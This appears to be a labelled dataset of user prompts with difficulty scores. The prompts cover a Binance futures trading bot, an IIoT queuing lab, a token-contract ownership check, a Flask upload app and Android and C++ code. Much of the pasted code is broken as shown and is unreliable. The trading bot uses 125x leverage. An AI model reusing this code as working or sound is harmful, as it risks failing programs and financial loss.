timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
await order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
await asyncio.sleep(1)`But I getting ERROR: 05/31/2023 14:56:12
sys:1: RuntimeWarning: coroutine 'getminutedata' was never awaited PLease give me fully right code
|
5062f125869e59fd1f42e8a4e26863a5
|
{
"intermediate": 0.42794308066368103,
"beginner": 0.3935242295265198,
"expert": 0.1785327047109604
}
|
9,371
|
Gimme the full python code to simulate the following lab activity. (gimme the code not description)
The purpose of this lab is to simulate the operation of a portion of an Industrial Internet of
Things (IIoT), that is modeled as a queuing system, and investigate its performance under
variable configurations, to understand how different scenario configurations and network
parameter settings may affect the system behavior and performance.
Consider the Industry 4.0 scenario depicted in Fig. 1. Each machinery component of the
production line is equipped with a set of sensors and actuators, that build up an IIoT system.
In particular, a number of sensor devices collect real time monitoring data at the edge of the
network, to collect several types of information about the status and the operation of the
various production line components. These data can be used, either directly or after some
processing, to take decisions and perform specific actions on the production line by means of
actuators, in order to manage the system operation, modulate the production system speed,
prevent or tackle service interruptions, etc.
More in details, data collected by the sensors are sent to a local Micro Data Center (arrow 1),
that provides computational capacity close to edge of IIoT network by means of edge nodes,
which are managed by an edge controller. edge nodes pre-process data (arrow 2), so that
most requests can be fulfilled locally, whereas only computationally intensive requests are
forwarded to a Cloud data center (arrow 3), thus saving bandwidth and energy. Finally, based
on the data processing output, operative commands are generated and sent to the actuators
(dashed arrows). In case all the edge nodes are busy, incoming data can be buffered, if a
buffer is present. However, if the buffer is full or it is not envisioned at all, data packets are
directly forwarded to the Cloud Data Center to perform the entire processing tasks (arrow
4).
1In the considered queuing system, the customers represent the IIoT data packets that arrive
at that Micro Data Center. The service represents the local processing of the data by edge
nodes before generating the actuation message packets or before forwarding data to the
Cloud for further computational processing. Finally, the waiting line represents the buffer
where packets are stored before performing the computational tasks. Packets that are sent to
the Cloud are further processed by Cloud server(s) before generating the actuation message
packets that are sent to the actuators. In this case the service is represented by the data
processing carried out by the Cloud server(s). Even in the Cloud a buffer may be envisioned.
Two types of data can be generated by the sensor nodes and sent to the Micro Data Center,
Figure 1: IoT system in an Industry 4.0 scenario.
each corresponding to a different class of task that can be performed by the actuators:
Class A - High priority tasks: these tasks are delay sensitive, hence implying high
priority operations that must be performed on the production line within a strict time
deadline. The packets generated by the sensors that are related to high priority tasks (type
A packets) typically require a simple processing, that can be locally performed by the edge
nodes.
Class B - Low priority tasks: these tasks require more complex computational operations, however the completion of these tasks is not constrained by strict time deadlines, hence
resulting in delay tolerant tasks that can be performed in a longer time period. Due to the
need for more complex computational operations, this type of packets (type B packets), after
a local pre-processing at the Micro Data Center level, must be forwarded to the Cloud Data
Center to complete the processing.
23
Denote f the fraction of packets of type B, i.e. the low priority data packets arriving
at the Micro Data Center from the sensors that must be further forwarded to the Cloud
Data Center after local pre-processing by the edge node(s), due to more complex required
computational tasks. In this case, assume a reasonably increased average service time on
the Cloud server(s). Note that, although the required tasks are more complex, the Cloud
Servers are likely to be better performing than the edge nodes.
Furthermore, when data cannot be locally pre-processed due to busy edge nodes and full
buffer, any incoming data (either of type A or B) are forwarded to the Cloud without any
local pre-processing. Since these forwarded data are fully processed in the Cloud, they experience an average service time that reflect the fact that both the simple pre-processing tasks
(for type A and type B data) and the more complex computational tasks (only for type B
data) are performed in the Cloud Data center itself.
You can include the propagation delay in your analysis, assuming a reasonable additional
delay due to the data transmission from the Micro Data Center to the Cloud Data Center
and for the transmission of the commands from Cloud Data Center to the actuators. The
other propagation delays can be neglected.
|
46185204c5926a6b6d08c11fed55e0d1
|
{
"intermediate": 0.4492933750152588,
"beginner": 0.29618364572525024,
"expert": 0.2545229196548462
}
|
9,372
|
def check_renounce_ownership_vulnerability(abi):
for item in abi:
if item['type'] == 'function' and item['name'] == 'transferOwnership':
if item.get('function_signature', '') == 'renounceOwnership()':
return True
return False
The piece of code above does not expose this function in the token contract code. fix it
|
78f18bf2187c9646e3bf3619296926cc
|
{
"intermediate": 0.3564804792404175,
"beginner": 0.48002126812934875,
"expert": 0.16349822282791138
}
|
9,373
|
Explain 5 sigma significance. I am beginner at statistics and physics
|
bcee62ac4b78322591f744bb10592eea
|
{
"intermediate": 0.4608910083770752,
"beginner": 0.3563525378704071,
"expert": 0.1827564686536789
}
|
9,374
|
I used this code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
import asyncio
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
async def getminutedata(symbol, interval, lookback):
klines = client.futures_historical_trades(symbol=symbol,interval=interval, limit=lookback, endTime=int(time.time()*1000))
# Cast tuples to lists
klines = [list(map(str, kline)) for kline in klines]
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
frame = frame[['Open time', 'Price', 'Qty']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
df = await getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Price.iloc[-1]
close = df.Price.iloc[-1]
previous_open = df.Price.iloc[-2]
previous_close = df.Price.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = await signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
await order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
await asyncio.sleep(1) But I getting ERROR: File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 51
df = await getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: 'await' outside function Please give me right code
|
d2c0f010a0b5ac007d6b5d0d0883cd0e
|
{
"intermediate": 0.4229685664176941,
"beginner": 0.37308770418167114,
"expert": 0.20394371449947357
}
|
9,375
|
python floating number decimal accuracy
|
992eb6505cecf1fb18a625a9650552b8
|
{
"intermediate": 0.336276650428772,
"beginner": 0.3040754199028015,
"expert": 0.35964784026145935
}
|
9,376
|
multiple id in entity jpa spring boot
|
d7e351d91810b609ff4241784b013c56
|
{
"intermediate": 0.44542649388313293,
"beginner": 0.23388688266277313,
"expert": 0.3206866383552551
}
|
9,377
|
build a flask app that allows a user to upload the file it randomizes the filename then allows the user to download the renamed file
after a file has been on the server for 2 minutes it will delete it
style the css a bit so it is a navy blue background
with a box in the middle that contains the upload and download buttons and progress bars etc
|
e116e642df00b6c91e2d22cbc69e7334
|
{
"intermediate": 0.5188859105110168,
"beginner": 0.2169342041015625,
"expert": 0.26417991518974304
}
|
9,378
|
from flask import Flask, render_template, request
import os
app = Flask(name)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
filename = file.filename
file.save(os.path.join('uploads', filename))
return 'File uploaded successfully!'
if name == 'main':
app.run(debug=True)
how would I be able to make randomize the filename and then bring up an option for the user to download the new file
|
29f05e809c3c1d9f9aed836ad4d33a4c
|
{
"intermediate": 0.7381067872047424,
"beginner": 0.13602332770824432,
"expert": 0.12586991488933563
}
|
9,379
|
Write a program that detects white stickers on cardboard boxes
|
f7c4f5c1eb2a97e848487d1d1f129eba
|
{
"intermediate": 0.14379221200942993,
"beginner": 0.12329298257827759,
"expert": 0.7329148054122925
}
|
9,380
|
python extract rpf into folders
|
25362aa9b7fbdd2b6ecc278d52058c5c
|
{
"intermediate": 0.33171311020851135,
"beginner": 0.21825340390205383,
"expert": 0.4500334858894348
}
|
9,381
|
You are given two 0-indexed integer arrays nums1 and nums2 of equal length n and a positive integer k. You must choose a subsequence of indices from nums1 of length k.
For chosen indices i0, i1, ..., ik - 1, your score is defined as:
The sum of the selected elements from nums1 multiplied with the minimum of the selected elements from nums2.
It can defined simply as: (nums1[i0] + nums1[i1] +...+ nums1[ik - 1]) * min(nums2[i0] , nums2[i1], ... ,nums2[ik - 1]).
Return the maximum possible score.
|
7d2812e8e82469500c62d9f31f2e061a
|
{
"intermediate": 0.3793116509914398,
"beginner": 0.39733192324638367,
"expert": 0.2233564555644989
}
|
9,382
|
Is there any partition size limitation in AWS Athena
|
f14295cc96cd111473b3c3cbb04f0b3d
|
{
"intermediate": 0.37839725613594055,
"beginner": 0.20860935747623444,
"expert": 0.4129934012889862
}
|
9,383
|
act like a teacher, and give me detailed step from zero to build a langchain app
consider me as no experience with python
|
2260aaf335ed4c112d864bfc81227f94
|
{
"intermediate": 0.6419079303741455,
"beginner": 0.20914670825004578,
"expert": 0.14894527196884155
}
|
9,384
|
Here is an example of Neo4j Java code for a time-varying graph with a parametrizable schema and varying property stored in the relationship and sharding to allow distributed processing
|
81eae6ab96890f3c533a4633c0d10ef1
|
{
"intermediate": 0.6927761435508728,
"beginner": 0.10763078927993774,
"expert": 0.19959311187267303
}
|
9,385
|
python how to zip a folder with an output path
|
0334f7c29c87fa6895b221724ef4dbd7
|
{
"intermediate": 0.3688008189201355,
"beginner": 0.3415394723415375,
"expert": 0.2896597385406494
}
|
9,386
|
arreglame esto: #include <iostream>
#include <vector>
#include <climits>
using namespace std;
vector<int> minCostTapas(vector<int>& calorias, int M) {
int n = calorias.size();
vector<vector<int>> dp(n + 1, vector<int>(M + 1, INT_MAX));
vector<vector<int>> chosen(n + 1, vector<int>(M + 1, 0));
dp[0][0] = 0;
for (int i = 1; i <= n; ++i) {
for (int j = 0; j <= M; ++j) {
if (calorias[i - 1] > j) {
dp[i][j] = dp[i - 1][j];
chosen[i][j] = chosen[i - 1][j];
} else {
int includeTapas = 1 + dp[i - 1][j - calorias[i - 1]];
int excludeTapas = dp[i - 1][j];
if (includeTapas <= excludeTapas) {
dp[i][j] = includeTapas;
chosen[i][j] = i;
} else {
dp[i][j] = excludeTapas;
chosen[i][j] = chosen[i - 1][j];
}
}
}
}
int targetCalories = M;
while (chosen[n][targetCalories] == 0) {
--targetCalories;
}
vector<int> tapasElegidas;
int i = n;
int j = targetCalories;
while (i > 0 && j >= 0) {
if (chosen[i][j] == i) {
tapasElegidas.push_back(i - 1);
j -= calorias[i - 1];
}
--i;
}
return tapasElegidas;
}
int main() {
vector<int> calorias = {3, 5, 10, 13, 15, 16};
int M = 45;
vector<int> tapas_para_pedir = minCostTapas(calorias, M);
cout << "Tapas para pedir:\n";
for (int index : tapas_para_pedir) {
cout << "Tapa " << index + 1 << ": " << calorias[index] << " calorías\n";
}
return 0;
}
|
a64d1d053f2f31d704c8d03ca49e70f0
|
{
"intermediate": 0.35701048374176025,
"beginner": 0.42428216338157654,
"expert": 0.2187073826789856
}
|
9,387
|
Поправь код , а также сделай так что бы окно появлялось после нажатия на анопку : package com.example.myapp_2.UI.view.activities;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = dialog.findViewById(R.id.submit);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
date.setText(date1.getText());
time.setText(time1.getText());
amountOfQuests.setText(amountOfQuests1.getText());
wishes.setText(wishes1.getText());
name.setText(name1.getText());
phoneNumber.setText(phoneNumber1.getText());
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
dialog.show();
finish();
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
dialog.show();
finish();
}
});
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = (TextView) findViewById(R.id.date);
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}
|
4f9663653ad7f3b554fbc406293b5910
|
{
"intermediate": 0.2871388792991638,
"beginner": 0.5268358588218689,
"expert": 0.18602527678012848
}
|
9,388
|
есть код сервера
const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { buildSchema } = require('graphql');
const { PubSub } = require('graphql-subscriptions');
const { SubscriptionServer } = require('subscriptions-transport-ws');
const { execute, subscribe } = require('graphql');
const pubsub = new PubSub();
const schema = buildSchema(`
type Query {
hello: String
}
type Subscription {
count: Int
}
`);
const root = {
hello: () => 'Hello world!',
count: () => pubsub.asyncIterator('count'),
};
const app = express();
app.use('/graphql', graphqlHTTP({
schema,
rootValue: root,
graphiql: true,
}));
const server = app.listen(4000, () => {
console.log('Running a GraphQL API server at http://localhost:4000/graphql');
});
SubscriptionServer.create(
{
schema,
execute,
subscribe,
onConnect: () => console.log('Client connected to subscription server'),
onDisconnect: () => console.log('Client disconnected from subscription server'),
},
{
server,
path: '/subscriptions',
},
);
setInterval(() => {
pubsub.publish('count', { count: Math.floor(Math.random() * 10) });
}, 1000);
есть код клиента
const { SubscriptionClient } = require('subscriptions-transport-ws');
const ws = require('ws');
const client = new SubscriptionClient('ws://localhost:4000/subscriptions', {
reconnect: true,
}, ws);
client.request({
query: `
subscription {
count
}
`,
}).subscribe({
next: (data) => console.log(data),
error: (error) => console.error(error),
});
клиент получает ошибку
{
message: 'Subscription field must return Async Iterable. Received:
undefined.'
}
помоги исправить
|
2ef99be73e33c72b72a3ed1226627a8d
|
{
"intermediate": 0.47561463713645935,
"beginner": 0.19641228020191193,
"expert": 0.32797306776046753
}
|
9,389
|
где я ошибся : package com.example.myapp_2.UI.view.activities;
import static java.security.AccessController.getContext;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import android.widget.Toast;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
// Create dialog instance
dialog = new Dialog(this);
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = dialog.findViewById(R.id.submit);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.dismiss(); // Dismiss the dialog instead of calling setResult and finish
}
});
@Override
public void onBackPressed() {
super.onBackPressed();
Toast.makeText(getContext(), "Registration approved", Toast.LENGTH_SHORT).show();
}
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.cancel();
Toast.makeText(getContext(), "Registration approved", Toast.LENGTH_SHORT).show();
onBackPressed(); // Return to previous fragment
}
});
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = findViewById(R.id.date); // Use findViewById from the activity, not from the dialog view
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}
|
62b6b2312f547d0a935a421db802c5e3
|
{
"intermediate": 0.3699720501899719,
"beginner": 0.44062620401382446,
"expert": 0.189401775598526
}
|
9,390
|
I used your code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
def getminutedata(symbol, interval, lookback):
klines = client.get_historical_trades(symbol=symbol,interval=interval, limit=lookback, endTime=int(time.time()*1000))
# Cast tuples to lists
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
frame = frame[['Open time', 'Price', 'Qty']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Open.iloc[-1]
close = df.Close.iloc[-1]
previous_open = df.Open.iloc[-2]
previous_close = df.Close.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
df = getminutedata('BTCUSDT', '1m', 44640)
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
